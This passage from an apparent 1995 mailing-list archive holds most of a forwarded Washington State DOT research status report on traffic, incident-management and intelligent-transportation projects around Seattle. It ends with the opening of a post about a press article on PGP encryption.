concept of decentralizing work so that employees can work closer to their 
residence thereby reducing commuting time and distance.

.c.Incident Management Projects

%	.c.Incident Response Data Base.;  (Bill Legg or Fred Mannering) 
This project will develop and establish an incident response database.  
The database will be used to evaluate incident response measures 
developed and implemented in the Seattle area.  This project was approved 
in February.  The first project meeting with the researchers and the Data 
Annex in Olympia took place the middle of March.  The Data Annex 
installed the CARS database at TRAC on May 27th.  The project team is 
working with WSDOT's 3 western regions and the East Central region to 
establish a database format Incident report that could be used as a 
standard for the entire state.  This format will be compatible with the 
States' MicroCars database.  Work in also being done on a geographical 
representation of the MicroCars database by combining it with a GIS 
system.  This project's completion date was extended to 6/31/94 from 
12/31/93 to permit more testing of the database.
The draft database (the final level of effort for this project) is 
complete and now being used.  We are looking at any additional needs for 
this project beyond the current completed work. 

%	.c.Evaluation and Application of Washington State's Incident 
Response Guide.;  (Bill Legg or Fred Mannering) This project will 
evaluate the effectiveness, appropriateness, and format of the incident 
response guide currently used by WSDOT's North West Region's incident 
response teams.  Based on this evaluation it will produce an updated 
electronic version of the guide for WSDOT's 3 western regions and the 
East Central region.  Each region will able to customize and update the 
documents as needed in the future.
The project is now complete.   

	.c.Incident Management Training for WSDOT Personnel.;  (Bill 
Legg) This project, through training sessions, will
 	introduce the basic language and protocol for the Incident 
Command System to the WSDOT IRT members,
 	summarize new and existing state and federal regulations that 
impact current incident management practices,
 	identify WSDOT IRT training material suitable for periodic 
"refresher" training, &
 	provide information to Maintenance Area Supervisors on the 
importance of effective incident management.
This project began the first of the year (1995) and training will begin 
this summer.  

	.c.The Use of Total Station Surveying Equipment for Accident 
Investigation: A National Perspective.;  (Bill Legg) WSDOT took the 
national leadership role in the implementation of the use of total 
station surveying equipment by the State Patrol as a way to more quickly 
clear major accident scenes.  This project will determine
 	how the use of total station surveying equipment for accident 
investigation has expanded to other parts of the nation,
 	what factors encourage the use of the technology, 
 	what factors discourage the use of the technology, and 
 	how the quantified and perceived benefits change depending on 
local conditions.  
The survey of national law enforcement agencies has been completed.

.c.ITS Projects

% 	.c.North Seattle Advanced Traffic Management System;  (Morgan 
Balogh)  The primary objective of this project is to provide 
communications to the different traffic control system in the I-5 
corridor from Seattle to Marysville.  This will enable coordinated 
operations among the different jurisdictions traffic signal systems and 
the freeway ramp meter system, provide a regional monitoring and data 
sharing system, and receive real-time information on traffic and transit 
conditions.  This project will be expandable to the east and south to 
include the entire Seattle Metropolitan area.  
Many times political and jurisdictional issues prevent coordinating 
adjacent systems.  These issues will be worked out over the course of the 
project.
This project will endeavor to obtain data from several signal systems in 
the I-5/SR 99 corridor in north King County and south Snohomish County.  
The data will be collected by a separate micro-computer through 
communications links with central traffic control systems (and master 
controllers if necessary) belonging to the various jurisdictions 
involved.  The micro-computer will compile the volume, occupancy, and 
operations data and transmit it back out to the participating control 
systems.  Each signal system will independently use the data to improve 
its traffic management capabilities.  TIB funding for this project has 
been obtained.  The City of Seattle was the lead agency for obtaining TIB 
funds.  Oil rebate money is also being used on this project.  The FHWA is 
contributing 3.5 million in state appropriated IVHS money.  
Dave Berg of the WSDOT, NW Region is managing this project.  Farradyne 
System Inc., is the lead consultant on the project.  FSI started work on 
Nov. 29, 1994.  This was the same date that a kickoff meeting was held.  
FSI has just completed the Control Strategy Report for the project (June 
16, 1995).  It is currently under review.  There have been several user 
group meetings with the next scheduled for June 17, 1995.  FSI is 
currently working on the system design.

 %	.c.Graphical Display of Real-Time Transit Coach Locations: Toward 
an APTS for the Puget Sound Region (BusView);  (Morgan Balogh, Dan 
Dailey)  The project will design and demonstrate a system that 
graphically displays real-time transit coach locations to the University 
of Washington campus community.  The system will use Seattle Metro's 
existing automatic vehicle location system as its information source.  
This is a $170,000 project sponsored by WSDOT ($100,000) and TRANSNOW 
$70,000.  The completion date is February 1996.   
The design of the APTS architecture and interfaces is well underway and 
the evaluation of the accuracy of the AVL data is beginning.  The system 
will be demonstrated at a Transit Conference in Spokane in late August.

 %	.c.Traffic Data Acquisition and Distribution (TDAD);  (Morgan 
Balogh, Dan Dailey)  The TDAD project will provide a system that will 
access available traffic databases and store it in a separate database 
for historical, research, and planning purposes.  Agencies will then be 
able to request from the system specific records, and obtain these in 
formats meaningful and useful to them.  The initial system will be 
demonstrated in the Puget Sound area, together with linkages to state 
level databases and applications.  This project is coordinated with the 
North Seattle ATMS.  This project supports regional Congestion Management 
Plans.  The total project cost is $210,000 and is fully funded by the FHWA.
UW staff has interviewed the parties that will benefit by this project.  
They include planning representatives from PSRC, TRIP, FHWA, and the 
WSDOT N.W. Region.  A working paper outlining the system desired by these 
representative has been prepared and reviewed.  The project team is 
currently working with FSI and the North Seattle ATMS project on system 
integration requirements.  

% 	.c.Puget Sound Help Me (PuSHMe) Operational Test;  (Morgan 
Balogh) The WSDOT has received USDOT operational test funding for a Puget 
Sound regional mayday system.  This is a public-private partnership whose 
participants include the FHWA, WSDOT, WSP, David Evans and Associates, 
Inc. (DEA), Sentinel Communications (SenCom), Motorola, IBI Group Inc., 
and the University of Washington.  Other firms involved in this project 
but not actually on contract are McCaw Cellular and Intergraph.  This 
system will allow a traveler to send a signal indicating their location 
when they need assistance directly to a traffic operations center who 
will then dispatch the appropriate units (i.e. tow truck, assistance van, 
WSP, etc.)  
The cooperative agreement between WSDOT and the FHWA signed on August 1, 
1994.  The project started February 3, 1995.  A equipment purchase 
contract was signed between WSDOT and SenCom as of March 3, 1995.  A 
equipment lease between WSDOT and Motorola was signed 4/4/95 .  The 
project Kick-Off meeting is scheduled for March 28, 1995.  The evaluation 
plan is almost complete and should sent to the PuSHMe partners for review 
in late June.  Motorola has installed their GPS Reference station at the 
TSMC on June 15, 1995 and plan to have their Dispatch running in Mid 
July.  SenCom will begin producing their mayday devices in late June.  
Mayday testing should begin in late July or early August. 

 %	.c.A Real Time Traveler Information System for Reducing Urban 
Freeway Congestion: Expansion, Implementation, and Evaluation.;  (Larry 
Senn or Mark Haselkorn) This is a continuation of the earlier Real-Time 
Motorist information project.  Several enhancements will be made to the 
"Traffic Reporter" information system including expanding coverage of the 
display to include all freeways in the Seattle area and to include 
separate information on the HOV lanes.  Efforts will also be made to 
improve the quality of travel time data and the quality of electronic 
data coming from the WSDOT system.  This project will provide delivery of 
the system for use by the public and will evaluate the system under 
actual use.  
Traffic Reporter has been expanded to cover the Puget Sound area.  
Testing is being done to compare "lap top" travel time data to those 
calculated by Traffic Reporter.  Also, usability testing has been 
conducted on the expanded interface, and will continue once the system is 
on display.  Traffic Reporter can now find multiple freeway routes from a 
given origin ramp to a given destination ramp.  Added features include 
the ability to compare speed and trip time between these routes, 
including a comparison of general purpose versus HOV lanes.  
A rough draft of the final report has been turned into TRAC for 
preliminary review and should be ready to go to the Research Office 
soon.  

 %	.c.Improved Congestion Prediction Algorithm.;  (Improved Ramp 
Control Algorithm) (Larry Senn or Nancy L. Nihan)    This project 
continues the search for an improved ramp control algorithm based on 
predictive techniques.  The project objectives are to: (1) evaluate the 
existing data and the performance of the predictive ramp control 
algorithm used to operate the WSDOT traffic systems computer in Seattle, 
develop improvements to the existing predictive ramp control algorithm by 
looking at upstream volumes and lane occupancies and ways to improve 
pattern recognition, testing the new algorithms on more than one section 
of freeway.
Data collection computer modeling runs have been made and contrary to the 
proposal will likely need to be conducted periodically throughout the 
project.  Preliminary analyses have been performed and strategies are 
being discussed to select the algorithm most likely to be productive.  
TSMC data is now available by modem for UW analysis.  Researchers have 
found that the flow divided by the lane occupancy (F/O) provides a better 
indicator of congestion than indicators that are currently in use.  A F/O 
of 90 indicates the onset of congestion and an F/O of 70 provides an 
excellent indicator of congestion.  Storage, which is currently used by 
the freeway system as an indicator of congestion, does not appear to a 
very good indicator (a result also found in the neural network project).  
The final report is in review.  

% 	.c.Improved Error Detection and Incident Detection Using 
Prediction Techniques and Video Imaging.;  (Larry Senn or Nancy L. Nihan) 
This project seeks to improve knowledge of the relationship of volume and 
lane occupancy to the speed of traffic as a means of (1) determining 
invalid detector data and (2) detecting incidents.  In addition the 
project will attempt to improve the ability to identify bad detector 
data.  Video imaging will be used as an independent check of the 
volume/occupancy and speed relationships.  The video imaging system will 
itself be evaluated as an incident detection tool and as a tool to obtain 
vehicle speeds.
Morgan Wong is the primary R.A. on this project.  He has written a 
program to get 20 second data from Autoscope and is modeling the data to 
improve on the existing error and incident detection algorithms.  
TSMC data is now available by modem for UW analysis.  The project team 
has been collecting additional video data for testing Autoscope.  The 
overall opinion of the researchers is that Autoscope works well enough to 
be considered in future installations.  
The draft final report and draft technical report have been submitted for 
review.  

% 	.c.Bellevue Smart Traveler: Using Traveler Information to Reduce 
Downtown SOV Commuting.;  (Eldon L. Jacobson or Mark Haselkorn) This 
project produced and tested a prototype Traveler Information Center 
designed to increase the use of transit and paratransit (carpools and 
vanpools) by downtown Bellevue office workers.  The goal was to locate in 
a downtown Bellevue office complex a prototype computer-based interactive 
Traveler Information Center that provided office workers with greater 
access to flexible, reliable, safe, and time efficient alternatives to 
single occupancy vehicle commuting.  The prototype allowed us to gauge 
the impact of applying ATIS technology to enhancing transit and 
paratransit.  It also allowed us to judge the viability of Traveler 
Information Centers as a way for downtown centers to meet trip reduction 
requirements set by the State of Washington.
The project was funded by WSDOT and FTA.  Work was conducted as a 
partnership between the Bellevue TMA and the University of Washington.  
The project was originally scheduled to begin 7/1/92 and end 10/31/93.  
The FTA funding period ended up being for 15 months, starting 9/30/92, so 
no-cost time extensions were requested of both the FTA and WSDOT in order 
that both funding periods ended at the same time.
Most of the employee's in the office building (Bellevue Place) were 
surveyed.  Since Microsoft doesn't do surveys, focus groups with 
Microsoft employees were done the last week in April, 1993.  The project 
was expanded to cover more buildings in downtown Bellevue.  Will also use 
a public-private partnership utilizing pagers donated by PacTel (now 
Air-Touch).  The telephone equipment was purchased, the initial 
programming of it completed, and it was tested.  A media event showcasing 
the project was done by the U.W. on September 28, 1993.  83 applications 
were received by the TMA as of November 2, 1993.  The kiosk was opened 
for use in Bellevue Place on November 15, 1993.
Three ride groups were formed.  Some of the interesting statistics as of 
the close of the project on April 15, 1994 are:  496 rides offered, 145 
rides sought, 6 confirmed ride matches.  Preliminary conclusions are that 
people were much more willing to offer rides than to accept a ride.  The 
draft technical report has been written and was submitted to TRAC the end 
of August, 1994, for editing and processing.  The initial editing 
generated substantial suggested improvements, so the report was sent back 
to the P.I. for modification in September, 1994.  The draft report has 
been circulated and review comments received.  The P.I. plans on 
incorporating review comments for the final report during the first week 
of July, 1995.

%	.c.In-Vehicle Signing and Variable Speed Limit Demonstration.;  
(Larry Senn) The project is unique in that its objective is the 
enhancement of motorists safety on freeway facilities through the display 
of variable speed limits and other safety messages based on traffic and 
roadway conditions.  These displays are presented using variable message 
signs and in-vehicle equipment.  The proposed project includes the 
implementation of a variable speed limit and motorist alerting system 
featuring the use of low cost in-vehicle radio receivers with 
alphanumeric displays.  The system is to be installed on a forty mile 
section of I-90 approximately 40 miles east of Seattle in the vicinity of 
the Snoqualmie Pass.  The University of Washington will be responsible 
for the evaluation of the system and the experimental design.  
The installation of data stations for collection of "before" data is 
complete and data collection is underway.  Farradyne has continued the 
systems development, and has found solutions to several issues concerning 
the radio communications system and integration of the weather stations.  
FCC licenses for all sites have been obtained.  The construction contract 
with Totem Electric is underway and at least three sign bases have been 
installed.  The production of the Daktronics VMS is underway and the 
inspection of the first sign occurred on June first.  We hope to test the 
in-vehicle devices in '94-'95 using a portable transmitter, however the 
fixed sites will not have communications until '95-'96 when the entire 
project will be operational.  The UW team has conducted an in-depth 
accident analysis based on 5 years of accident data and has continued the 
development of the driving simulator that will be used to evaluate the 
in-vehicle signing equipment.  A detailed evaluation plan has been 
submitted to NHTSA and has been tentatively approved pending some minor 
corrections.  

%	.c.Seattle to Portland Inter-city ITS Corridor Study and 
Communication Plan;  (Morgan Balogh)  We are in the initial stage of this 
project.  There are three main objectives of the project.  The first 
objective is to develop a plan to reduce congestion and improve safety 
along the Seattle to Portland I-5 corridor utilizing Intelligent 
Vehicle-Highway Systems (IVHS) technologies.  The second objective is to 
identify the communications network needed to support the IVHS for the 
corridor.  Additionally, evaluate alternatives and provide 
recommendations for this network to support WSDOTUs other, non-IVHS, 
intra-departmental communications requirements along this corridor.  The 
third objective is to develop general recommendations for a statewide 
WSDOT communication network utilizing the corridor communications 
analysis.  
State matching funds have been identified and approved.  An Agreement 
between the FHWA and the WSDOT for the Seattle to Portland Inter-city ITS 
portion of this project has been made. 
A request for a service contract to select/hire a consultant was 
developed and published September 13, 1993.  The consultant proposals 
went through the first stage of the evaluation process.  This stage chose 
the top 3 proposals.  The representative of each team was asked to give 
an oral presentation on December 7, 1993.  From these presentations David 
Evans and Associates was chosen to be the prime consultant.  The 
consultant began work May 2, 1994.  The consultant has completed 
Technical Memorandum #4, Draft ITS Corridor Plan in May and is developing 
a draft communications plan.  

%	.c.Portland to Boise ITS Corridor Study;  (Eldon L. Jacobson)  
This project is to develop a plan to identify Intelligent Transportation 
System technologies that should improve some of the known transportation 
problems in the Portland to Boise corridor.  One of the known problems is 
the poor weather conditions that can rapidly appear in the Columbia 
Gorge  and the Blue Mountains.  The corridor includes roads on both sides 
of the Columbia River, two railroads, and barge shipping.
The planned $400,000 consultant study is anticipated to be funded by 
FHWA, ITD, ODOT, and WSDOT.  A draft agreement between the FHWA and the 
three state DOTs has been drafted by the FHWA Region office.  The revised 
draft proposal was circulated for final comments and support letters.  
The proposal was submitted to the FHWA the day before the due date of 
August 1, 1994.  Approval from D.C. was received the middle of January, 
1995, provided the scope-of-work is approved by the FHWA region office.  
The draft scope-of-work was circulated for comments the end of February, 
1995.  The FHWA approval is expected mid-March, 1995, with the RFP 
planned late in March or April, 1995.
Kimley-Horn and Associates, Inc., is the consultant that was selected to 
do the study.  The scope-of-work and cost estimate are being worked on 
prior to signing the contract.

%	.c.Seattle to Vancouver, B.C., and Seattle to Spokane ITS 
Corridor Study;  (BillJLegg)  This project is to develop a plan to 
identify Intelligent Transportation System (formally IVHS) technologies 
that should improve some of the known transportation problems in the two 
corridors.  The two corridors may be studied separately, or together, 
depending on whether one or both are approved for funding by the FHWA.  
The planned consultant study is anticipated to be funded by FHWA and 
WSDOT.  
Interviews for final consultant selection will be held on June 22nd.  
Work on this project will begin in the 3rd quarter of 1995.

%	.c.Assessment of ATIS in Washington State.;  (Morgan Balogh) This 
project is primarily funded by FHWA discretionary moneys.  It will 
provide an early evaluation of 4 ATIS in Washington state (FLOW, Traffic 
Reporter, Bellevue Smart Traveler, and the proposed Canadian border 
crossing information system).  The project will develop a matrix of ATIS 
so that appropriate criteria for judging success can be developed and 
applied.  The project will also recommend direction for future ATIS 
development in the state.  Start date for project was 10/01/92 and the 
completion date for the project is 4/30/94.
Tasks completed to date include: (1) Identified classifying system and 
definitions of success for this project.  (2) Designed metrics and 
instruments for assessing Flow.
Delays in the installation of the Vax at TSMC have delayed the 
implementation of Traffic Reporter and consequently the evaluation of 
Traffic Reporter.  That problem has been corrected and the evaluation 
continued.  The final report was submitted to the Research Office in 
March, 1995.  

%	.c.IVHS Data and Information Structure.;  (Morgan Balogh or 
Daniel Dailey)  The overall objective of this project is to develop a 
framework in which to understand, select, and apply wireless data 
communications technology to IVHS development in Washington State.  It 
will (1) review the state of the art of wireless data communications, (2) 
examine promising wireless communication alternatives, (3) perform a 
limited field test of selected wireless data communications, and (4) 
provide the basis for an overall plan to integrate wireless data 
communications into a regional IVHS network.  The final report for this 
project is due December 31, 1994.
The final report was submitted to the Research Office in March, 1995.

%	.c.Investigation of Video Image Tracking.;  (Morgan Balogh or 
Nancy Nihan)  First generation video imaging systems provide Rtrip-wireS 
type detection, that is they mimic the performance of inductance loops.  
The newer video imaging tracking system not only gathers loop type data 
but RfingerprintsS vehicles to provide tracking capabilities.  Vehicle 
tracking provides travel time and origin destination information which 
has been historically difficult to obtain.
The proposed video imaging system for this project is the MOBILIZER, 
which is provided by Condition Monitoring Systems (CMS) and is in the 
prototype stages of development.  
This project will test collected data for reliability and range of 
usefulness, compare cost effectiveness and total life-cycle cost of the 
CMS system to that of traditional loop detector systems, and if cost 
effective, incorporate the system in the WSDOT Traffic Systems Management 
Center.  The final report for this project is due August 31, 1995.
Most of the technical problems with the MOBILIZER have been worked out 
and testing is continuing.

%	.c.IVHS Backbone Design and Demonstration.;  (Larry Senn or Dan 
Dailey)  This project will (1) design a  demonstration architecture for a 
regional IVHS backbone for the Puget Sound area and (2) construct this 
backbone in order to demonstrate how different types of data gathered 
from distinct agencies can be integrated in a single application.  The 
backbone will be designed to (a) improve interagency and 
multi-jurisdictional sharing of data without disrupting existing 
operations, (b) support existing investment in IVHS technology and system 
development, (c) encourage expansion and innovation, and (d) be 
compatible with federal efforts to develop a national IVHS architecture.  
"The backbone will support traffic data from a multitude of sources while 
making data accessible in a clearly defined manner on a geographically 
distributed network.  This all will be done in an open systems model that 
supports a distributed computing environment, is extensible to larger 
areas, and easily allows new agencies to participate.  
The T1 link to the TSMC and all hardware elements to set up the 
communication have been installed.  Software to extract the data is 
operational.  Loop data has been interfaced to the GIS application.  
Software is being developed to make use of the loop data for future 
research.  The final report is being wreitten.  

%	.c.Demonstration of ATIS/ATMS Data Fusion in a Regional IVHS.;  
(Larry Senn or Dan Dailey)  This project proposes to design, construct, 
and demonstrate a data fusion system for use in a regional IVHS system.  
The fusion system will combine data for multi-agency and 
multi-jurisdictional sources to provide a more accurate, real-time 
picture of the transportation system.  This fusion system will operate in 
a distributed computing environment that encourages interagency 
cooperation.  
The computer has been ordered and WSDOT and Metro have been contacted.  
An IVHS application has been written which displays both congestion data 
from loops and real time position of transit vehicles on a GIS based 
map.  King County Metro is being contacted for an improved map database.  
A report is being written in conjunction with an IEEE Intelligent 
Vehicles Conference "95.  

%	.c.IVHS - Network and Data Fusion.;  (Larry Senn or Dan Dailey)  
This Federally funded project will progress from specific regional issues 
investigated in other related projects and generalize by creating key 
network and fusion components that are transferable to other regions and 
countries.  The project will (1) investigate , design, and document an 
encoding scheme, including ways to include temporal information with 
spatial information, for standardization of traffic and traveler 
information, (2) use this encoding scheme to demonstrate a layer between 
application and transport layers, and (3) work with another related IVHS 
research center to use the encoding scheme in a demonstration of its use 
in inter-regional IVHS communication.  
The investigator has started investigation of FIPS spatial data standard 
in detail and determined that the full standard is unwieldy for the 
design of our data encoding system.  Adopting an object oriented paradigm 
to construct self defining data streams.  The methodology for 
constructing the self defined data streams is the encoding stream 
promised for this project.  

%	.c.Investigation of Automatic Vehicle Location Systems for 
Traveler Information.;  (Larry Senn or Mark Haselkorn)  This project will 
use Metro AVL information to improve information available to travelers 
and transportation managers.  
Metro AVL data can now be displayed on any X-terminal connected to the 
Internet and has been demonstrated many times.  This concludes the 
research portion of the project and a draft final is being formatted foin 
prepatration for review.  

%	.c.Ramp Control via Neural Network Control.;  (Larry Senn or 
Deirdre Meldrum)  This project will develop and test a new ramp metering 
algorithm by using an artificial neural network congestion predictor and 
a multi-variable control system.
Artificial neural networks have been constructed and tested.  Promising 
results have been obtained with 1 minute data being used to predict 
volumes and occupancies 1 minute ahead, and somewhat less promising 
results have been obtained with 5 minute data.  The draft technical 
report has been sent to the Research Office for review.

%	.c.Fuzzy Logic Ramp metering.;  This project will move toward 
developing the neural network forecasting and fuzzy logic control system 
including in depth testing using models and on the existing SC&DI 
system.  If budget and time allows the system will be implemented within 
this project.  This project is just starting.  

%	.c.SWIFT - Seattle Wide-area Information For Travelers.;  (Larry 
Senn, Mark Haselkorn, Dan Dailey)  This project is a $7.4 million IVHS 
Operational test of an FM sideband data system which will be used to 
deliver traffic and transit information.  Data will be extracted from 
WSDOT's freeway ramp control computer, Metro Transit's vehicle location 
system, and augmented with information from Metro Traffic Control.  The 
information will be formatted and sent to Seiko Telecommunication System 
for transmission to devices.  The devices include a watch (or pager) 
based on Seiko's Message Watch, Delco Electronics' Telepath car radio 
that includes a GPS to give distance and bearing to a destination, and a 
palm top computer that will be supplied by IBM which will provide bus 
locations and graphic displays of traffic conditions.  Etak will supply 
geo-coding, mapping, and data entry interfaces.  The test will occur in 
1996 after the devices are programmed and developed.  
The contract With the SWIFT project team was signed on January 10, 1995 
and work has commenced.  An evaluation plan from SAIC was submitted at 
the March 14 Steering Committee meeting and was accepted by the team with 
minor changes.  The UW team is working extensively on the network 
required to deliver SWIFT information.  This project is proceeding on 
schedule.  

%	.c.SWIFT Smart Traveler:  (Larry Senn, Dan Dailey)  This project 
is a companion to the SWIFT project and will allow ad hoc ridesharing 
amongst UW employees.  The large employer base combined with the 
availability of desktop computers and the campus network should allow for 
greater number of ride matches than found in previous projects.  Web 
pages have been created, the server is being set up, and geocoding has 
started to establish rideshare locations.  

%	.c.NEXRAD: NEXt Generation Weather RADar.;  (Larry Senn, Tom 
Seliga)  This project is investigating potential applications for the new 
doppler weather radar in transportation.  The potential uses of accurate 
short term weather predictions include better maintenance scheduling and 
transit operation improvements from early snow warnings, wind warnings 
for ferries, and for research into the traffic impacts of inclement 
weather.  
The investigators have obtained a disdrometer to assess the distribution 
of drop sizes in the region, are developing an algorithm for tracking 
storms, have arranged for data access from the weather radar, and have 
obtained a SUN workstation for use in the project.  Phase 2 of this 
project has been funded and will continue the work.  There will be no 
report for Phase 1 as it was a preliminary investigation.  

%	.c.Increasing Awareness of Transportation Options Through 
Riderlink.;  (EldonJL.JJacobson)  This FHWA/FTA Operation Action Program 
project intends to develop a Metro database infrastructure that can be 
used to make transit information (and other information) available at 
selected work sites.  Originally the intent was to team up with US. West 
Community Link's planned videotext service (The original project was 
titled: Increasing Public Awareness of Transportation Options Through 
Videotext).  Since the videotext service has been delayed or abandoned, 
the use of videotext was replaced by planning on using existing computer 
networks of some of the employers in the Overlake area between Redmond 
and Bellevue.
Metro assigned Catherine Bradshaw to coordinate the project.  Initial 
planning and coordination work began in March, 1994.  A detailed 
evaluation plan dated June 21, 1994, has been submitted.  Quarterly 
reports are being submitted.  The following three documents are 
available: Concept Document, Requirements Document, and Evaluation Plan.  
I have been able to access the Riderlink initial data pages from my 
office over the Internet.  During January, 1995, Metro publicized the 
project and made Riderlink available on a World Wide Web site on the 
Internet to disseminate the information to existing networks at employer 
sites.  All the Overlake TMA sites have connections to Riderlink.  As of 
the end of February, 1995, nearly 4,000 people from all over the world 
have accessed Riderlink.  Metro has continued to include more bus 
schedules and route maps in the Riderlink system.

%	.c.Community Transit Arterial System Area-Wide Priority (CT 
ASAP);  (EldonJL.JJacobson)  This is the IVHS operational test project 
that was earmarked by congress for Snohomish County (Community Transit).  
A proposal was submitted in February, 1994, to DC. requesting $1,500,000 
in Federal funds (75%) which will be matched with $375,000 in Community 
Transit funds (25%).  This project plans to implement the most cost 
effective portion of the Community Transit Arterial HOV study, which was 
completed in March, 1993.  That means installing a bus priority system at 
about 100 traffic signals in Snohomish County.  The North Seattle ATMS 
project will utilize the data and METRO will install the same signal 
priority system on SR 99.  This will be the first large scale area-wide 
test of a signal priority system (Pierce Transit has jumped into the 
forefront of testing signal priority, and may have a different signal 
priority system operational in Tacoma around March, 1995).
The proposal was approved and an agreement between FHWA and WSDOT has 
been drafted by FHWA.  At a coordination meeting on May 10, 1994, it was 
decided to combine this project with part of the SR 99 signal project, so 
as to only have one signal priority project within Snohomish County 
(Metro does not have authority to do any work outside King County).  The 
WSDOT-FHWA Cooperative Agreement was approved on June 17, 1994.  WSDOT 
Northwest Region is preparing the Local Agency Agreement between WSDOT 
and Community Transit.  The Local Agency Agreement has been sent to 
Community Transit.  The project may be revised in how it is coordinated 
with two other related projects in the area (the SR 99 project and the 
Metro AVI purchase project).  
As of March, 1995, the Local Agency Agreement is close to being 
finalized.  Larry Ingalls of CT is developing a work plan for the 
project.  Installation of hardware on the buses is dependent on the Metro 
region wide AVI purchase project.

.c.Additional ITS Projects

%	.c.Regional Automated Trip Planning.;  (Wayne Watanabe) King 
County Metro is participating with Community Transit and Pierce Transit 
in the development of a regional transit trip planning system.  The 
system will allow any information operator at any of the three agencies 
to enter origins and destinations within the region.  The system will 
automatically produce a trip itinerary including travel times, fares, and 
transfers.   Current effort is focused on developing geographic 
information system (GIS) hardware and software capability in Pierce and 
Snohomish counties.  King County is nearly done with its GIS component.  
This project is scheduled to be complete in 1997.

%	.c.Regional Ridematch.;  (Roland Bradley) King County Metro is 
participating with Community Transit and Pierce Transit in the 
development of regional ridematching software.  The system will allow 
ridematch staff at any of the three agencies to enter ridematch requests 
into a regional database.  This system will replace an existing regional 
ridematch system that limits the ability of agencies to offer geographic 
information system based matches, match maps for customers, and on-line 
ridematching.  The project is scheduled to be complete in 1997.

%	.c.Regional Ridematch Hotline.;  (Roland Bradley) This project 
will provide one 1-800 telephone number for anyone in King, Snohomish, 
and Pierce counties to use for ridematch assistance.  This project is 
scheduled to be complete in 1996.

%	.c.Regional Fare Integration Project.;  (Candace Carlson) King 
County Metro is participating with Community Transit, Pierce Transit, 
Everett Transit, Kitsap Transit, Washington State Ferries, the RTA, PSRC, 
and the Cascadia Project to provide seamless regional fare media that 
makes it easier to make inter-county trips within the Puget Sound 
region.  The project team is currently evaluating several technologies 
including smart cards and magnetically encoded cards.  The analysis phase 
will conclude in 1995 and a demonstration of the selected technology will 
be in place by the end of 1996. 

%	.c.Smart Bus.;  (David Cantey) King County Metro is beginning the 
implementation of a smart bus strategy that will integrate electronic 
information systems on-board buses.  The current order for 360 buses 
includes J-1708 wiring which will provide the backbone of the "vehicle 
area network."  J-1708 is an SAE standard developed and adopted by ITS 
America.  A contractor has been hired to integrate the automatic 
passenger counting systems and automatic vehicle location systems on 
board the 10% of the current fleet that have APC systems installed.

.c.other Projects

%	.c.Traffic Congestion Monitoring-Urban Areas.;  (Bill Legg or 
Mark Hallenbeck) There are three basic objectives for this study.  (1) 
Develop a comprehensive understanding of the congestion monitoring needs 
and expectations of local, state, and federal governments and agencies.  
(2) Define the alternative methods for performing that monitoring 
function.  (3) Develop cost and staffing estimates that can be provided 
to state officials in decision package form, so that a monitoring system 
based on one of these alternatives can be implemented.
This project will provide a resource document that lists the potential 
methods for monitoring congestion in the state's urban areas.  It will 
describe the types of data that need to be collected, the strengths and 
limitations of each of the methods or combinations of methods that can be 
used for collecting those data, and preliminary costs for implementation 
of those data collection procedures.  The project will provide 
descriptions of both systems that can be implemented using currently 
available technologies, and those systems that rely on technologies that 
are currently experimental but may provide greater levels of information 
gathering at a lower cost than traditional methods, if the new methods 
are implemented on an urban scale.
The Phase 2 draft report is being revised to reflect comments received 
from review.

%	.c.ENTERPRISE.;  (Bill Legg )  The ENTERPRISE Program represents 
an international forum for collaborative research, development, and 
deployment ventures.  This forum will facilitate the sharing of 
technological and institutional experiences gained from the IVHS programs 
conceived and initiated by each participating entity.  The cooperative 
and collaborative objectives of the ENTERPRISE Program provide for a more 
efficient use of resources than a series of independent initiatives.  The 
synergistic effect of this forum is an accelerated implementation of IVHS 
programs.  Current members of ENTERPRISE aside from WSDOT include; CDOT, 
AzDOT, MinnDOT, IDOT, MichDOT, NCDOT, Maricopa County DOT in AZ. FHWA, 
Ministry of Transportation of Ontario, Transport Canada, and 
Rijkswaterstaat (Netherlands DOT). Others considering joining are NYDOT, 
and the Federal DOT of Mexico.  ENTERPRISE holds quarterly meetings, in 
1994 that will be changed to 3 times a year.  The last meeting of 
ENTERPRISE was held in April 1994.  The next meeting will be in 
September, 1994 followed by a December 1994 meeting to be held in 
Seattle.  I have notes as well as minutes of previous meetings.  In 
conjunction with the September meeting ENTERPRISE will cosponsor the 2nd 
annual Rural IVHS conference with IVHS America.  The first Rural IVHS 
conference was held in February, 1993, it was sponsored by ENTERPRISE.  
ENTERPRISE is the major backer of ITIS, which is the development of an 
international standard for communications between the roadside and 
vehicles.  ENTERPRISE is also working on joint funding of several project 
proposals submitted by member organizations.  One project that is 
currently underway is HERALD, which is investigating using an AM 
sub-carrier to deliver road and construction information to motorists in 
rural areas.  ENTERPRISE submitted two proposals to FHWA as demonstration 
projects; the first is a second phase of the HERALD project, the second 
is a wide scale MAYDAY project.  FHWA accepted both of these projects for 
funding, they are now just getting underway; the interagency agreements 
and contracts are being developed and signed by the involved parties.  
Since WSDOT is a partner in a second funded MAYDAY operational test we 
will be working closely with ENTERPRISE to avoid duplication in effort 
and to share information.  I will use this report to provide updates on 
the ENTERPRISE operational tests.
The latest meeting for this group was held in Phoenix in April.  The next 
meeting will be in Minnesota in September in conjunction with the 1995 
Rural ITS conference.  The 1996 rural ITS conference will be held in 
Spokane, WSDOT will be the host agency.

%	.c.Accident Risks Using Roadway Geometrics.;  (Eldon L. Jacobson, 
Fred L. Mannering)  The work is being done by John Milton, a WSDOT 
graduate student.  The primary objective of this project is to test the 
statistical validity of the accident prediction method WSDOT is 
developing and utilizing.  The findings of this research will be used to 
develop a weighted equation for use in the Department's safety program.  
The data has been collected and most of the literature review has been 
completed.  Development and testing of accident frequency models began at 
the end of December, 1994.

%	.c.Advanced Transportation Technology Application Policy Plan.;  
(Bill Legg) This effort is looking at establishing ITS, or in this case 
Advanced Transportation Technology, as a new policy area in the 
Transportation Policy Plan for Washington State.  The first subcommittee 
meeting on this effort will be held on July 11th.  A second meeting will 
be held in August.


- ------- End of Forwarded Message


------- End of Forwarded Message






From alan.pugh at internetmci.com  Fri Jul 14 10:14:35 1995
From: alan.pugh at internetmci.com (Alan Pugh)
Date: Fri, 14 Jul 95 10:14:35 PDT
Subject: pgp mention
Message-ID: <01HSV0ZF4V7M937K02@MAILSRV1.PCY.MCI.NET>


-----BEGIN PGP SIGNED MESSAGE-----

hello all,

nothing new here. there are some obvious errors in this article, most
notably that it claims phil z. uploaded pgp to the internet, while
phil claims this is not so. 

anyhow, i figure mention in the mass press is reason enough to post
here...


===begin===
Date: Thursday, 13-Jul-95 05:12 AM


Encryption software keeps unauthorized readers out of your e-mail

